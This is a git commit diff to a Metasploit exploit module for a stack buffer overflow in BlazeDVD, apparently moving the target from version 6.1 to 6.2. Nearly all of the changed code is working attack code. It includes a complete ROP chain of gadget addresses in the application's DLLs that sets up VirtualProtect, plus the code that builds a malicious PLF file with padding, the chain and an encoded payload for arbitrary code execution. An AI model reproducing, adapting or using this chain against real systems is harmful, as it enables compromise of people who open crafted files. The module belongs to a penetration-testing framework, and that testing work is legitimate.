Update rop chain for versions 6.2 and 6.1

bug/bundler_fix
Ken Smith 2014-04-21 13:27:14 -04:00
parent c99f6654e8
commit 66b1c79da9
1 changed files with 24 additions and 23 deletions

View File

@ -14,17 +14,17 @@ class Metasploit3 < Msf::Exploit::Remote
super(update_info(info,
'Name' => 'BlazeDVD 6.1 PLF Buffer Overflow',
'Description' => %q{
This module exploits a stack over flow in BlazeDVD 5.1 and 6.1. When
This module exploits a stack over flow in BlazeDVD 5.1 and 6.2. When
the application is used to open a specially crafted plf file,
a buffer is overwritten allowing for the execution of arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'MC',
'Deepak Rathore',
'Spencer McIntyre',
'Ken Smith'
'MC', # Developed target 5.1
'Deepak Rathore', # ExploitDB PoC
'Spencer McIntyre', # Developed taget 6.2
'Ken Smith' # Developed target 6.2
],
'References' =>
[
@ -46,7 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Platform' => 'win',
'Targets' =>
[
[ 'BlazeDVD 6.1',
[ 'BlazeDVD 6.2',
{
'Payload' =>
{
@ -78,31 +78,32 @@ class Metasploit3 < Msf::Exploit::Remote
def rop_chain
# rop chain generated with mona.py - www.corelan.be
case target.name
when 'BlazeDVD 6.1'
when 'BlazeDVD 6.2'
rop_gadgets = [ ]
# 0x6162e802 RETN (ROP NOP) [EPG.dll]
rop_gadgets.fill(0x6162e802, 0..7)
rop_gadgets += [
0x6411437d, # POP EAX # RETN [NetReg.dll]
0x61636758, # POP EAX # RETN [EPG.dll]
0x10011108, # ptr to &VirtualProtect() [IAT SkinScrollBar.Dll]
0x6033d910, # MOV ESI,DWORD PTR DS:[EAX] # RETN [Configuration.dll]
0x640402b3, # POP EBP # RETN [MediaPlayerCtrl.dll]
0x60335935, # & PUSH ESP # RETN 0C [Configuration.dll]
0x6032b8bb, # POP EAX # RETN [Configuration.dll]
0xfffffcff, # Value to negate, will become 0x00000301
0x616306ed, # MOV EAX,DWORD PTR DS:[EAX] # RETN [EPG.dll]
0x616385d8, # XCHG EAX,ESI # RETN 0x00 [EPG.dll]
0x61628ea2, # POP EBP # RETN [EPG.dll]
0x616069a1, # push esp # ret 0x04 [EPG.dll]
0x61626702, # POP EAX # RETN [EPG.dll]
0xfffffdff, # Value to negate, will become 0x00000201
0x61627d9c, # NEG EAX # RETN [EPG.dll]
0x61640124, # XCHG EAX,EBX # RETN [EPG.dll]
0x6403bb48, # POP EAX # RETN [MediaPlayerCtrl.dll]
0x61629938, # POP EAX # RETN [EPG.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x6403a1b7, # NEG EAX # RETN [MediaPlayerCtrl.dll]
0x64046c72, # XCHG EAX,EDX # RETN [MediaPlayerCtrl.dll]
0x6403c973, # POP ECX # RETN [MediaPlayerCtrl.dll]
0x1001514c, # &Writable location [SkinScrollBar.Dll]
0x6403a94d, # POP EDI # RETN [MediaPlayerCtrl.dll]
0x6162e802, # RETN (ROP NOP) [EPG.dll]
0x64106f33, # POP EAX # RETN [NetReg.dll]
0x61627d9c, # NEG EAX # RETN [EPG.dll]
0x61608ba2, # XCHG EAX,EDX # RETN [EPG.dll]
0x61612f5a, # POP ECX # RETN [EPG.dll]
0x100142ab, # &Writable location [SkinScrollBar.Dll]
0x616313ac, # POP EDI # RETN [EPG.dll]
0x6162e588, # RETN (ROP NOP) [EPG.dll]
0x6162d638, # POP EAX # RETN [EPG.dll]
0x90909090, # nop
0x6031d582, # PUSHAD # RETN [Configuration.dll]
0x61620831, # PUSHAD # RETN [EPG.dll]
]
end
return rop_gadgets.flatten.pack("V*")
@ -115,7 +116,7 @@ class Metasploit3 < Msf::Exploit::Remote
plf[868,8] = Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2) + [target.ret].pack('V')
plf[876,12] = make_nops(12)
plf[888,payload.encoded.length] = payload.encoded
when 'BlazeDVD 6.1'
when 'BlazeDVD 6.2'
plf = rand_text_alphanumeric(260)
plf << rop_chain
plf << payload.encoded